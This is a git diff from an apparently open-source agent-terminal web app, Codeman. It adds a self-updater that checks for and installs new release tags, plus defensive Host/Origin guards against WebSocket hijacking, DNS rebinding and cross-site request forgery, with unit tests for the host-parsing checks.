this._setUpdateProgress('↻ Restarting Codeman…');
return;
}
if (!terminal.has(data.phase)) {
// Prefer the live status message — the updater's heartbeat enriches it with
// the latest npm/build output line so a slow step doesn't look frozen — and
// fall back to the static phase label. Append total elapsed so the counter
// keeps ticking between heartbeats: a clear "still working" signal.
const label = (data.message && data.message.trim()) ? data.message.trim() : this._updatePhaseText(data.phase);
let elapsed = '';
if (data.startedAt) {
const secs = Math.max(0, Math.round((Date.now() - data.startedAt) / 1000));
elapsed = ` <span style="color:var(--text-secondary)">· ${secs}s</span>`;
}
this._setUpdateProgress(`<span class="tunnel-spinner"></span> ${escapeHtml(label)}${elapsed}`);
return;
}
this._stopUpdatePolling();
if (data.phase === 'completed') {
let html = `<span style="color:var(--success,#3fb950)">✓ Updated to v${escapeHtml(data.toVersion || '')}. Reloading…</span>`;
if (data.stashRef) {
html += `<br><span style="color:var(--text-secondary)">Local changes stashed as <code>${escapeHtml(data.stashRef)}</code> — run <code>git stash pop</code> to restore.</span>`;
}
this._setUpdateProgress(html);
setTimeout(() => location.reload(), 2500);
} else if (data.phase === 'completed-needs-manual-restart') {
this._setUpdateProgress(
`Update staged. Restart Codeman to apply:<br><code>${escapeHtml(data.manualRestartCommand || 'restart codeman web')}</code>`
);
} else if (data.phase === 'failed') {
let html = `<span style="color:var(--danger,#e5534b)">✗ ${escapeHtml(data.message || 'Update failed')}.</span>`;
if (data.error) html += `<br><span style="color:var(--text-secondary)">${escapeHtml(data.error)}</span>`;
html += `<br><span style="color:var(--text-secondary)">The previous version is still running.</span>`;
if (data.stashRef) {
html += `<br><span style="color:var(--text-secondary)">Local changes stashed as <code>${escapeHtml(data.stashRef)}</code>.</span>`;
}
this._setUpdateProgress(html);
const nowBtn = this.$('updateNowBtn');
const actionRow = this.$('updateActionRow');
if (nowBtn) { nowBtn.disabled = false; nowBtn.textContent = 'Try again'; }
if (actionRow) actionRow.style.display = 'flex';
}
};
poll();
this._updatePollTimer = setInterval(poll, 1500);
},
async loadTunnelStatus() {
try {
const res = await fetch('/api/tunnel/status');
+34
View File
@@ -35,6 +35,7 @@ import {
SETTINGS_PATH,
} from '../route-helpers.js';
import { SseEvent } from '../sse-events.js';
import { getInstallInfo, checkForUpdate, startUpdate, getUpdateStatusForApi } from '../self-update.js';
import type { SessionPort, EventPort, ConfigPort, InfraPort, AuthPort } from '../ports/index.js';
import { AUTH_COOKIE_NAME } from '../middleware/auth.js';
import { QR_AUTH_FAILURE_MAX } from '../../config/tunnel-config.js';
@@ -293,6 +294,39 @@ export function registerSystemRoutes(
}
});
// ═══════════════════════════════════════════════════════════════
// Self-Update (App Settings → Updates)
// ═══════════════════════════════════════════════════════════════
// Install info + whether a newer release exists. Manual, user-triggered.
app.get('/api/system/update/check', async () => {
const check = await checkForUpdate();
const info = getInstallInfo();
return { ...info, ...check };
});
// Poll target for update progress — survives the restart the update triggers.
app.get('/api/system/update/status', async () => getUpdateStatusForApi());
// Kick off a detached update to the latest release. Returns immediately; the
// browser then polls /api/system/update/status across the service restart.
app.post('/api/system/update', async (_req, reply) => {
const result = await startUpdate();
if (result.ok) {
return { success: true, updateId: result.updateId, toTag: result.toTag, toVersion: result.toVersion };
}
const map = {
'in-flight': { http: 409, api: ApiErrorCode.ALREADY_EXISTS },
'up-to-date': { http: 409, api: ApiErrorCode.ALREADY_EXISTS },
'not-git': { http: 400, api: ApiErrorCode.INVALID_INPUT },
disabled: { http: 403, api: ApiErrorCode.INVALID_INPUT },
'bad-tag': { http: 400, api: ApiErrorCode.INVALID_INPUT },
error: { http: 500, api: ApiErrorCode.INTERNAL_ERROR },
} as const;
const m = map[result.code];
return reply.code(m.http).send(createErrorResponse(m.api, result.message));
});
// ═══════════════════════════════════════════════════════════════
// CLI Integrations (OpenCode)
// ═══════════════════════════════════════════════════════════════
+13 -1
View File
@@ -30,6 +30,7 @@ import { FastifyInstance } from 'fastify';
import type { WebSocket } from 'ws';
import type { SessionPort } from '../ports/session-port.js';
import { MAX_INPUT_LENGTH } from '../../config/terminal-limits.js';
import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
/** Micro-batch interval for terminal output (ms). Short enough for low latency,
* long enough to group Ink's rapid cursor-up redraw sequences into single frames. */
@@ -58,8 +59,19 @@ const MAX_WS_PER_SESSION = 5;
/** Track active WS connections per session for connection limiting. */
const sessionWsCount = new Map<string, number>();
export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort): void {
export function registerWsRoutes(app: FastifyInstance, ctx: SessionPort, getHostPolicy: () => HostPolicy): void {
app.get<{ Params: { id: string } }>('/ws/sessions/:id/terminal', { websocket: true }, (socket: WebSocket, req) => {
// Reject cross-site WebSocket hijacking (CSWSH) and DNS-rebinding before doing
// anything: the upgrade must come from an allowed Host and (when the browser
// sends one — it always does for WS) a same-site Origin. Writing to this socket
// injects keystrokes into a --dangerously-skip-permissions agent, so this gate
// matters even on the default no-password install. See security review H5.
const policy = getHostPolicy();
if (!isAllowedRequestHost(req.headers.host, policy) || !isAllowedRequestOrigin(req.headers.origin, policy)) {
socket.close(4003, 'Forbidden');
return;
}
const { id } = req.params;
const session = ctx.sessions.get(id);
+558
View File
@@ -0,0 +1,558 @@
/**
* @fileoverview Server-side logic for the in-app self-updater.
*
* Powers App Settings → Updates. Codeman is installed as a git clone and run
* under systemd (Linux) or launchd (macOS); updating means `git checkout <release
* tag> && npm install && npm run build && restart-the-service`. The hard part is
* that the update restarts the very process performing it, so the actual work
* runs in a DETACHED `scripts/self-update.sh` that outlives the restart, writing
* progress to `dataPath('update-status.json')` which the browser polls across the
* connection drop.
*
* Channel: latest tagged RELEASE (tags look like `codeman@0.9.3`). Dirty trees
* are auto-stashed (stash left for the user). Detection is manual (a button).
*
* Split into PURE helpers (semver/tag parsing, reconcile decision) that are unit
* tested, and IO wrappers (`getInstallInfo`, `checkForUpdate`, `startUpdate`,
* `reconcileUpdateOnBoot`) that touch git/network/fs.
*
* Related: `src/types/update.ts`, `scripts/self-update.sh`, routes in
* `src/web/routes/system-routes.ts`.
*
* @module web/self-update
*/
import { spawn, execFileSync } from 'node:child_process';
import { existsSync, readFileSync, writeFileSync, renameSync, copyFileSync, chmodSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { homedir, tmpdir } from 'node:os';
import { randomUUID } from 'node:crypto';
import { createRequire } from 'node:module';
import { dataPath } from '../config/instance.js';
import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js';
import type {
InstallInfo,
InstallKind,
SupervisorKind,
UpdateCheckResult,
UpdatePhase,
UpdateStatus,
} from '../types/update.js';
const require = createRequire(import.meta.url);
const { version: APP_VERSION } = require('../../package.json') as { version: string };
/** systemd unit name (matches install.sh + scripts/codeman-web.service). */
const SYSTEMD_UNIT = 'codeman-web.service';
/** launchd agent label (matches install.sh setup_launchd_service). */
const LAUNCHD_LABEL = 'com.codeman.web';
/** Path to the persisted update status file. */
const STATUS_FILE = dataPath('update-status.json');
/** Network/git timeout for the "check" path (longer than EXEC_TIMEOUT_MS — ls-remote hits the network). */
const CHECK_TIMEOUT_MS = 12_000;
/** How long after `startedAt` a non-terminal status is treated as abandoned on boot. */
const RECONCILE_STALE_MS = 15 * 60 * 1000;
/** Phases that mean "an update is currently running". */
const IN_FLIGHT_PHASES: ReadonlySet<UpdatePhase> = new Set<UpdatePhase>([
'queued',
'preparing',
'stashing',
'fetching',
'checkout',
'installing',
'building',
'restarting',
]);
export function isInFlight(status: UpdateStatus | null | undefined): boolean {
return !!status && IN_FLIGHT_PHASES.has(status.phase);
}
// ─────────────────────────────────────────────────────────────────────────────
// PURE helpers (unit tested — no IO)
// ─────────────────────────────────────────────────────────────────────────────
export interface ParsedVersion {
major: number;
minor: number;
patch: number;
/** Non-empty for prereleases like `0.9.3-rc1`. */
prerelease: string;
}
/**
* Parse a semver out of a release tag. Accepts `codeman@0.9.3`, `aicodeman@0.9.3`,
* `v0.9.3`, and bare `0.9.3` (with optional `-prerelease`). Returns null if no
* `X.Y.Z` is present.
*/
export function parseVersionFromTag(tag: string): ParsedVersion | null {
const m = tag.trim().match(/(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?\s*$/);
if (!m) return null;
return {
major: parseInt(m[1], 10),
minor: parseInt(m[2], 10),
patch: parseInt(m[3], 10),
prerelease: m[4] ?? '',
};
}
/** Compare two parsed versions. Returns >0 if a>b, <0 if a<b, 0 if equal. A release outranks a prerelease of the same X.Y.Z. */
export function compareVersions(a: ParsedVersion, b: ParsedVersion): number {
if (a.major !== b.major) return a.major - b.major;
if (a.minor !== b.minor) return a.minor - b.minor;
if (a.patch !== b.patch) return a.patch - b.patch;
// Equal core: a release (no prerelease) is greater than a prerelease.
if (a.prerelease === b.prerelease) return 0;
if (!a.prerelease) return 1;
if (!b.prerelease) return -1;
return a.prerelease < b.prerelease ? -1 : 1;
}
/** True when `latest` is a strictly newer STABLE version than `current`. */
export function isNewerStableVersion(current: string, latest: string): boolean {
const c = parseVersionFromTag(current);
const l = parseVersionFromTag(latest);
if (!c || !l) return false;
if (l.prerelease) return false; // never offer a prerelease as an update
return compareVersions(l, c) > 0;
}
/**
* From a list of `refs/tags/...` (or bare tag names), pick the highest STABLE
* release tag we recognize. Skips prereleases and unrecognized tags.
*/
export function pickLatestStableTag(tagRefs: string[]): { tag: string; version: string } | null {
let best: { tag: string; parsed: ParsedVersion } | null = null;
for (const raw of tagRefs) {
// Accept `refs/tags/codeman@0.9.3`, dereferenced `...^{}`, or bare tag names.
const tag = raw
.replace(/^.*refs\/tags\//, '')
.replace(/\^\{\}$/, '')
.trim();
if (!tag) continue;
if (!/^(codeman|aicodeman)@\d+\.\d+\.\d+$/.test(tag) && !/^v?\d+\.\d+\.\d+$/.test(tag)) continue;
const parsed = parseVersionFromTag(tag);
if (!parsed || parsed.prerelease) continue;
if (!best || compareVersions(parsed, best.parsed) > 0) {
best = { tag, parsed };
}
}
if (!best) return null;
return { tag: best.tag, version: `${best.parsed.major}.${best.parsed.minor}.${best.parsed.patch}` };
}
/** Tags must match this before they're ever passed to the shell. */
export function isValidReleaseTag(tag: string): boolean {
return /^(codeman|aicodeman)@\d+\.\d+\.\d+$/.test(tag);
}
/** Derive `{owner, repo}` from a GitHub SSH or HTTPS remote URL. */
export function parseGitHubRepo(remoteUrl: string): { owner: string; repo: string } | null {
const m = remoteUrl.trim().match(/github\.com[:/]+([^/]+)\/(.+?)(?:\.git)?\/?$/);
if (!m) return null;
return { owner: m[1], repo: m[2] };
}
/**
* PURE boot-time reconcile decision. Given the persisted status, the version the
* freshly-booted process is actually running, and `now`, return the status to
* persist — or null to leave it untouched.
*
* Rules (see plan "Hardening"):
* - Terminal phases → untouched.
* - Only the `restarting` marker (written right before the updater triggers our
* restart) flips to completed/failed by comparing running version vs. target.
* - Other in-flight phases are owned by the still-running updater scope — leave
* them alone so a normal/crash restart mid-update isn't misreported.
* - A backstop staleness guard fails any in-flight status older than the window.
*/
export function reconcileStatusDecision(
status: UpdateStatus | null,
runningVersion: string,
now: number
): UpdateStatus | null {
if (!status) return null;
if (!IN_FLIGHT_PHASES.has(status.phase)) return null;
if (status.phase === 'restarting') {
if (status.toVersion && runningVersion === status.toVersion) {
return { ...status, phase: 'completed', message: `Updated to v${runningVersion}`, updatedAt: now };
}
return {
...status,
phase: 'failed',
message: 'Restarted but version did not change',
error: `expected ${status.toVersion ?? '?'}, running ${runningVersion}`,
updatedAt: now,
};
}
// Not the restart marker: only intervene if clearly abandoned.
if (now - status.startedAt > RECONCILE_STALE_MS) {
return {
...status,
phase: 'failed',
message: 'Update did not complete',
error: `abandoned during "${status.phase}"`,
updatedAt: now,
};
}
return null;
}
// ─────────────────────────────────────────────────────────────────────────────
// Status file IO
// ─────────────────────────────────────────────────────────────────────────────
/** Read the persisted status; tolerant of a missing/torn file (returns null). */
export function readUpdateStatus(): UpdateStatus | null {
try {
if (!existsSync(STATUS_FILE)) return null;
return JSON.parse(readFileSync(STATUS_FILE, 'utf-8')) as UpdateStatus;
} catch {
return null;
}
}
/** Write the status atomically (temp + rename — readers never see a torn file). */
export function writeUpdateStatusAtomic(status: UpdateStatus): void {
const tmp = `${STATUS_FILE}.tmp-${process.pid}`;
writeFileSync(tmp, JSON.stringify(status, null, 2));
renameSync(tmp, STATUS_FILE);
}
/** Reconcile the status file on server boot (call once, early in start()). */
export function reconcileUpdateOnBoot(now = Date.now()): void {
const status = readUpdateStatus();
const next = reconcileStatusDecision(status, APP_VERSION, now);
if (next) writeUpdateStatusAtomic(next);
}
// ─────────────────────────────────────────────────────────────────────────────
// Environment probing (git / supervisor / install kind)
// ─────────────────────────────────────────────────────────────────────────────
/** Run a command, returning trimmed stdout, or null on any error. */
function tryExec(cmd: string, args: string[], cwd?: string, timeout = EXEC_TIMEOUT_MS): string | null {
try {
return execFileSync(cmd, args, { cwd, encoding: 'utf-8', timeout, stdio: ['ignore', 'pipe', 'ignore'] }).trim();
} catch {
return null;
}
}
function commandExists(cmd: string): boolean {
return tryExec('sh', ['-c', `command -v ${cmd}`]) !== null;
}
/**
* Resolve the repo root from this module's location. Compiled to
* `dist/web/self-update.js` (or `src/web/self-update.ts` under tsx) → two levels
* up is the package root that holds `package.json` and `.git`. Matches the
* `require('../../package.json')` resolution in `server.ts`.
*/
export function resolveInstallDir(): string {
const moduleDir = dirname(fileURLToPath(import.meta.url));
const root = join(moduleDir, '..', '..');
if (existsSync(join(root, 'package.json'))) return root;
return process.cwd();
}
function detectInstallKind(dir: string): InstallKind {
if (existsSync(join(dir, '.git'))) return 'git';
// Global npm install ships only dist/ (no src/, no .git).
if (!existsSync(join(dir, 'src'))) return 'npm';
return 'unknown';
}
/**
* Detect which init system supervises us. Detection happens HERE (in the running
* server, which has a rich env) and the result is passed to the updater script —
* the detached child must not re-probe with a stripped-down environment.
*/
export function detectSupervisor(): SupervisorKind {
if (process.platform === 'darwin') {
if (existsSync(join(homedir(), 'Library', 'LaunchAgents', `${LAUNCHD_LABEL}.plist`))) return 'launchd';
return 'none';
}
if (process.platform === 'linux') {
// INVOCATION_ID is set by systemd for service processes; confirm with is-active.
if (process.env.INVOCATION_ID && tryExec('systemctl', ['--user', 'is-active', SYSTEMD_UNIT]) === 'active') {
return 'systemd';
}
if (tryExec('systemctl', ['--user', 'is-active', SYSTEMD_UNIT]) === 'active') return 'systemd';
}
return 'none';
}
function isSelfUpdateEnabled(): boolean {
return process.env.CODEMAN_DISABLE_SELF_UPDATE !== '1';
}
/** Inspect the running install: kind, dir, branch, dirtiness, supervisor, version. */
export function getInstallInfo(): InstallInfo {
const installDir = resolveInstallDir();
const installKind = detectInstallKind(installDir);
let branch: string | undefined;
let dirty = false;
if (installKind === 'git') {
branch = tryExec('git', ['rev-parse', '--abbrev-ref', 'HEAD'], installDir) ?? undefined;
const porcelain = tryExec('git', ['status', '--porcelain'], installDir);
dirty = !!porcelain && porcelain.length > 0;
}
return {
installKind,
installDir,
branch,
dirty,
supervisor: detectSupervisor(),
currentVersion: APP_VERSION,
selfUpdateEnabled: isSelfUpdateEnabled(),
};
}
// ─────────────────────────────────────────────────────────────────────────────
// Update check (network)
// ─────────────────────────────────────────────────────────────────────────────
async function fetchLatestReleaseFromGitHub(
owner: string,
repo: string
): Promise<{ tag: string; version: string; notes: string | null; htmlUrl: string | null } | null> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), CHECK_TIMEOUT_MS);
try {
const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/releases/latest`, {
headers: { 'User-Agent': 'codeman-self-update', Accept: 'application/vnd.github+json' },
signal: controller.signal,
});
if (!res.ok) return null;
const data = (await res.json()) as { tag_name?: string; body?: string; html_url?: string };
if (!data.tag_name) return null;
const parsed = parseVersionFromTag(data.tag_name);
if (!parsed || parsed.prerelease) return null;
return {
tag: data.tag_name,
version: `${parsed.major}.${parsed.minor}.${parsed.patch}`,
notes: data.body ?? null,
htmlUrl: data.html_url ?? null,
};
} catch {
return null;
} finally {
clearTimeout(timer);
}
}
function fetchLatestTagViaGit(installDir: string): { tag: string; version: string } | null {
const out = tryExec('git', ['ls-remote', '--tags', 'origin'], installDir, CHECK_TIMEOUT_MS);
if (!out) return null;
return pickLatestStableTag(out.split('\n').filter(Boolean));
}
/** Check the configured remote for a newer release than the running version. */
export async function checkForUpdate(): Promise<UpdateCheckResult> {
const info = getInstallInfo();
const checkedAt = Date.now();
const base: UpdateCheckResult = {
currentVersion: info.currentVersion,
latestVersion: null,
latestTag: null,
updateAvailable: false,
notes: null,
htmlUrl: null,
checkedAt,
source: 'none',
};
if (info.installKind !== 'git') {
return { ...base, error: 'Not a git install — self-update is unavailable.' };
}
const remote = tryExec('git', ['remote', 'get-url', 'origin'], info.installDir);
const gh = remote ? parseGitHubRepo(remote) : null;
if (gh) {
const rel = await fetchLatestReleaseFromGitHub(gh.owner, gh.repo);
if (rel) {
return {
...base,
latestVersion: rel.version,
latestTag: rel.tag,
notes: rel.notes,
htmlUrl: rel.htmlUrl,
updateAvailable: isNewerStableVersion(info.currentVersion, rel.version),
source: 'github-api',
};
}
}
// Fallback: enumerate remote tags directly (works for non-GitHub remotes too).
const viaGit = fetchLatestTagViaGit(info.installDir);
if (viaGit) {
return {
...base,
latestVersion: viaGit.version,
latestTag: viaGit.tag,
updateAvailable: isNewerStableVersion(info.currentVersion, viaGit.version),
source: 'git-ls-remote',
};
}
return { ...base, error: 'Could not reach the update server (GitHub API + git ls-remote both failed).' };
}
// ─────────────────────────────────────────────────────────────────────────────
// Start an update
// ─────────────────────────────────────────────────────────────────────────────
export type StartUpdateResult =
| { ok: true; updateId: string; toTag: string; toVersion: string | null }
| { ok: false; code: 'disabled' | 'not-git' | 'in-flight' | 'up-to-date' | 'bad-tag' | 'error'; message: string };
/**
* Copy the updater script OUT of the repo before running it. The script lives in
* the very repo it's about to `git checkout`, and bash reads scripts lazily — so
* running the in-repo copy risks executing torn/old-tag bytes after checkout.
* Run a snapshot under ~/.codeman instead (git never touches it).
*/
function stageRunner(installDir: string): string | null {
const src = join(installDir, 'scripts', 'self-update.sh');
if (!existsSync(src)) return null;
const runner = dataPath('self-update-runner.sh');
copyFileSync(src, runner);
chmodSync(runner, 0o755);
return runner;
}
/**
* Launch the updater so it OUTLIVES the service restart it triggers.
* - Linux + systemd: a transient `--scope` cgroup, independent of the
* codeman-web service lifecycle (survives `systemctl restart` regardless of
* the unit's KillMode). Inherits our env so node/npm/git stay on PATH.
* - Everything else: `setsid` into a new session (escapes launchd's process-group
* kill); plain detached spawn as the last resort.
*/
function launchDetached(runner: string, args: string[]): void {
const useScope = process.platform === 'linux' && !!process.env.XDG_RUNTIME_DIR && commandExists('systemd-run');
let cmd: string;
let cmdArgs: string[];
if (useScope) {
cmd = 'systemd-run';
cmdArgs = ['--user', '--scope', '--collect', '--quiet', 'bash', runner, ...args];
} else if (commandExists('setsid')) {
cmd = 'setsid';
cmdArgs = ['bash', runner, ...args];
} else {
cmd = 'bash';
cmdArgs = [runner, ...args];
}
const child = spawn(cmd, cmdArgs, { detached: true, stdio: 'ignore', env: process.env });
child.on('error', () => {
// Surface the failure in the status file so the UI doesn't hang on "queued".
const status = readUpdateStatus();
if (status && isInFlight(status)) {
writeUpdateStatusAtomic({
...status,
phase: 'failed',
message: 'Could not launch the updater process',
error: `spawn ${cmd} failed`,
updatedAt: Date.now(),
});
}
});
child.unref();
}
/**
* Validate, snapshot the current commit, write the initial status, and spawn the
* detached updater. Returns immediately — progress is reported via the status file.
*/
export async function startUpdate(): Promise<StartUpdateResult> {
const info = getInstallInfo();
if (!info.selfUpdateEnabled) {
return { ok: false, code: 'disabled', message: 'Self-update is disabled (CODEMAN_DISABLE_SELF_UPDATE=1).' };
}
if (info.installKind !== 'git') {
return {
ok: false,
code: 'not-git',
message: 'This is not a git install. Update with: npm i -g aicodeman@latest',
};
}
const existing = readUpdateStatus();
if (isInFlight(existing)) {
return { ok: false, code: 'in-flight', message: 'An update is already in progress.' };
}
const check = await checkForUpdate();
if (!check.latestTag || !check.updateAvailable) {
return { ok: false, code: 'up-to-date', message: 'Already up to date.' };
}
if (!isValidReleaseTag(check.latestTag)) {
return { ok: false, code: 'bad-tag', message: `Refusing to update to an unrecognized tag: ${check.latestTag}` };
}
const prevSha = tryExec('git', ['rev-parse', 'HEAD'], info.installDir);
const runner = stageRunner(info.installDir);
if (!runner) {
return { ok: false, code: 'error', message: 'scripts/self-update.sh not found in the install.' };
}
const updateId = randomUUID();
const now = Date.now();
const status: UpdateStatus = {
updateId,
phase: 'queued',
message: `Preparing update to v${check.latestVersion}…`,
fromVersion: info.currentVersion,
toVersion: check.latestVersion ?? undefined,
toTag: check.latestTag,
prevSha: prevSha ?? undefined,
stashRef: null,
supervisor: info.supervisor,
startedAt: now,
updatedAt: now,
};
writeUpdateStatusAtomic(status);
const logFile = join(tmpdir(), `codeman-update-${updateId}.log`);
const args = [
'--repo',
info.installDir,
'--tag',
check.latestTag,
'--supervisor',
info.supervisor,
'--status-file',
STATUS_FILE,
'--update-id',
updateId,
'--from-version',
info.currentVersion,
'--node',
process.execPath,
'--log',
logFile,
];
if (prevSha) args.push('--prev-sha', prevSha);
if (info.dirty) args.push('--stash');
launchDetached(runner, args);
return { ok: true, updateId, toTag: check.latestTag, toVersion: check.latestVersion };
}
/** Current status for the polling endpoint; null collapses to an explicit idle. */
export function getUpdateStatusForApi(): UpdateStatus {
const status = readUpdateStatus();
if (status) return status;
return {
updateId: '',
phase: 'idle',
message: '',
fromVersion: APP_VERSION,
startedAt: 0,
updatedAt: 0,
};
}
+50 -15
View File
@@ -85,6 +85,8 @@ import {
type RespawnWiringDeps,
} from './respawn-event-wiring.js';
import { reconcileUpdateOnBoot } from './self-update.js';
// Load version from package.json
const require = createRequire(import.meta.url);
const { version: APP_VERSION } = require('../../package.json');
@@ -100,9 +102,9 @@ import type { EventLoopMonitorHandle } from '../utils/index.js';
import { MAX_CONCURRENT_SESSIONS, MAX_SSE_CLIENTS } from '../config/map-limits.js';
import { SseEvent } from './sse-events.js';
import type { ScheduledRun } from './ports/index.js';
import { registerAuthMiddleware, registerSecurityHeaders } from './middleware/auth.js';
import { registerAuthMiddleware, registerSecurityHeaders, registerHostGuard } from './middleware/auth.js';
import { installRouteErrorHandler } from './route-error-handler.js';
import { isExplicitlyEnabled, isLoopbackBindHost } from './network-auth-policy.js';
import { isExplicitlyEnabled, isLoopbackBindHost, buildHostPolicy, type HostPolicy } from './network-auth-policy.js';
import {
registerPushRoutes,
registerTeamRoutes,
@@ -529,6 +531,14 @@ export class WebServer extends EventEmitter {
};
}
/**
* Current Host/Origin allowlist policy. Read per request so a tunnel started at
* runtime (PUT /api/settings) is reflected without a restart.
*/
private getHostPolicy(): HostPolicy {
return buildHostPolicy(this.host, this.tunnelManager.getUrl());
}
private async setupRoutes(): Promise<void> {
// multipart/form-data: parser is provided by @fastify/multipart (registered
// below). Its parser is a no-op marker that leaves the body on req.raw, so
@@ -545,6 +555,11 @@ export class WebServer extends EventEmitter {
// Cookie plugin (needed for auth session tokens)
await this.app.register(fastifyCookie);
// Anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard. Registered
// before auth so forged cross-site / rebound requests are rejected up front, even
// on the default no-password install. See docs/reports/security-review-2026-06-09.md.
registerHostGuard(this.app, () => this.getHostPolicy());
// Auth middleware (Basic Auth + session cookies + rate limiting)
const authState = registerAuthMiddleware(this.app, this.https);
if (authState) {
@@ -696,24 +711,28 @@ export class WebServer extends EventEmitter {
// parseBody. Shared with the route test harness so test behavior matches prod.
installRouteErrorHandler(this.app);
// Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them
// Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them.
// text/plain is used ONLY by this beacon (navigator.sendBeacon sends text/plain).
// Keep the body as a RAW STRING and parse it inside the handler — a global
// text/plain -> JSON parser would let a cross-site "simple request" (no CORS
// preflight) submit JSON to any route. See security review C2.
let _crashBreadcrumbs = '';
this.app.addContentTypeParser('text/plain;charset=UTF-8', { parseAs: 'string' }, (_req, body, done) => {
try {
done(null, JSON.parse(body as string));
} catch {
done(null, { data: body });
}
done(null, body);
});
this.app.addContentTypeParser('text/plain', { parseAs: 'string' }, (_req, body, done) => {
try {
done(null, JSON.parse(body as string));
} catch {
done(null, { data: body });
}
done(null, body);
});
this.app.post('/api/crash-diag', (req, reply) => {
_crashBreadcrumbs = String((req.body as { data?: string })?.data || '');
const raw = typeof req.body === 'string' ? req.body : '';
let data = raw;
try {
const parsed = JSON.parse(raw) as { data?: unknown };
if (parsed && typeof parsed.data === 'string') data = parsed.data;
} catch {
/* not JSON — treat the raw beacon text as the breadcrumbs */
}
_crashBreadcrumbs = String(data || '');
reply.code(204).send();
});
this.app.get('/api/crash-diag', (_req, reply) => {
@@ -736,7 +755,7 @@ export class WebServer extends EventEmitter {
registerPlanRoutes(this.app, ctx);
registerClipboardRoutes(this.app, ctx);
registerOrchestratorRoutes(this.app, ctx);
registerWsRoutes(this.app, ctx);
registerWsRoutes(this.app, ctx, () => this.getHostPolicy());
}
/**
@@ -1665,6 +1684,13 @@ export class WebServer extends EventEmitter {
lifecycleLog.log({ event: 'server_started', sessionId: '*' });
await lifecycleLog.trimIfNeeded();
// If a self-update restarted us into this process, finalize its status file
// (flip the persisted "restarting" marker → completed/failed based on the
// version we actually booted). No-op on a normal boot. See web/self-update.ts.
if (!this.testMode) {
reconcileUpdateOnBoot();
}
// Restore mux sessions BEFORE accepting connections
// This prevents race conditions where clients connect before state is ready
// CRITICAL: Skip in test mode to prevent tests from picking up user sessions
@@ -1690,6 +1716,15 @@ export class WebServer extends EventEmitter {
const displayHost = this.host === '0.0.0.0' ? 'localhost' : this.host;
console.log(`Codeman web interface running at ${protocol}://${displayHost}:${this.port}`);
// Anti-DNS-rebinding Host allowlist is always on. Localhost, any bare IP, the
// bind host, *.ts.net / *.trycloudflare.com / *.cfargotunnel.com, and the active
// managed tunnel are accepted automatically; add any other domain you front this
// with (e.g. a custom reverse-proxy host) via CODEMAN_ALLOWED_HOSTS=host1,.suffix.
const extraAllowed = (process.env.CODEMAN_ALLOWED_HOSTS || '').trim();
if (extraAllowed) {
console.log(` Host allowlist also accepts: ${extraAllowed}`);
}
// Codeman binds loopback (127.0.0.1) by default, which is safe out of the box.
// If the user opts into a non-loopback bind (e.g. --host 0.0.0.0) WITHOUT a
// password we no longer refuse to start — that surprised people whose setups
+5 -3
View File
@@ -5,7 +5,7 @@
* and referenced by the frontend (`SSE_EVENTS` in `constants.js`).
* Both files MUST be kept in sync.
*
* ~117 event constants organized by category:
* 120 event constants organized by category:
* - **Core** (1): init
* - **Session lifecycle** (17): created, updated, deleted, terminal, idle, working, ...
* - **Session: Ralph** (6): ralphLoopUpdate, todoUpdate, completionDetected, ...
@@ -13,7 +13,7 @@
* - **Session: Plan** (4): planTaskUpdate, planCheckpoint, planRollback, planTaskAdded
* - **Tasks** (4): created, completed, failed, updated
* - **Mux** (4): created, killed, died, statsUpdated
* - **Respawn** (17): stateChanged, cycleStarted, aiCheck*, timer*, log, ...
* - **Respawn** (24): stateChanged, cycleStarted/Completed, step*, aiCheck*, planCheck*, timer*, log, ...
* - **Subagents** (7): discovered, updated, tool_call, tool_result, progress, message, completed
* - **Scheduled** (6): created, updated, completed, stopped, log, deleted
* - **Teams** (4): created, updated, removed, taskUpdated
@@ -22,7 +22,9 @@
* - **Tunnel** (7): started, stopped, progress, error, qrRotated, qrRegenerated, qrAuthUsed
* - **Image** (1): detected
* - **Hooks** (6): idle_prompt, permission_prompt, elicitation_dialog, stop, teammate_idle, task_completed
* - **Cases** (2): created, linked
* - **Orchestrator** (12): stateChanged, planProgress, planReady, phase*, verification, task*, completed, error
* - **Clipboard** (1): write
* - **Cases** (4): created, linked, deleted, order-changed
*
* Naming convention: `domain:action` (e.g., `session:created`, `respawn:stateChanged`)
*
+138
View File
@@ -0,0 +1,138 @@
/**
* @fileoverview Unit tests for the anti-DNS-rebinding Host allowlist + cross-site
* Origin guard helpers in network-auth-policy.ts. Pure functions — no tmux, no
* ports — safe to run inside a managed session.
*/
import { describe, it, expect } from 'vitest';
import {
parseAuthorityHostname,
buildHostPolicy,
isAllowedRequestHost,
isAllowedRequestOrigin,
type HostPolicy,
} from '../src/web/network-auth-policy.js';
const loopback: HostPolicy = { bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null };
describe('parseAuthorityHostname', () => {
it('strips ports', () => {
expect(parseAuthorityHostname('localhost:3000')).toBe('localhost');
expect(parseAuthorityHostname('127.0.0.1:3000')).toBe('127.0.0.1');
expect(parseAuthorityHostname('evil.example.com')).toBe('evil.example.com');
});
it('handles IPv6 in brackets', () => {
expect(parseAuthorityHostname('[::1]')).toBe('::1');
expect(parseAuthorityHostname('[::1]:3000')).toBe('::1');
});
it('leaves bracketless IPv6 intact (does not treat colons as a port)', () => {
expect(parseAuthorityHostname('::1')).toBe('::1');
});
it('returns null for empty/garbage', () => {
expect(parseAuthorityHostname(undefined)).toBeNull();
expect(parseAuthorityHostname('')).toBeNull();
expect(parseAuthorityHostname(' ')).toBeNull();
});
it('lowercases', () => {
expect(parseAuthorityHostname('EVIL.Example.COM')).toBe('evil.example.com');
});
});
describe('isAllowedRequestHost — anti-DNS-rebinding', () => {
it('accepts loopback names and any IP literal', () => {
expect(isAllowedRequestHost('localhost:3000', loopback)).toBe(true);
expect(isAllowedRequestHost('127.0.0.1:3000', loopback)).toBe(true);
expect(isAllowedRequestHost('[::1]:3000', loopback)).toBe(true);
// LAN / public IP literals can't be rebinding targets, so they're allowed
